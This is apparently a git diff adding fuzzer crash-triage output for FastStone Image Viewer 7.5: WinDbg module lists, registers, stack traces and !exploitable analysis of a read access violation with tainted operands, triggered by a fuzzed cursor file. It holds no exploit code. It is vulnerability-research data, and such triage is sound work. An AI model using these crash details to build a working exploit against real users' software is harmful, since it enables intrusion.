0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=16227.8 -2.75991e-034 -1.02865e+022 4.62194e-036 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fd8130 07f55930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003b1000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003b1000 3fb4e657 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ac 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003b1000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/8354/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/8354/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..bacdf1d Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/8354/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/9913/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/9913/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/9913/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/9913/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/9913/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..f1d2af4 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/9913/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/9913/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/9913/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..b3a235e --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/9913/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1380: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1380: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1380.1fe8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0007ed2d ecx=07e97b10 edx=00003879 esi=ffcb0010 edi=07cc0fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.729788052700939360000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-6119.96 -1.32184e-019 -1.08566e-029 -3.95582e-019 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f78130 07ef5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002f7000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002f7000 367d01f6 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ce 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002f7000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/9913/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/9913/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..b3a235e --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/9913/WindowsDebugEngine_description.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1380: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1380: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1380.1fe8): Access violation - code c0000005 (first chance) +r 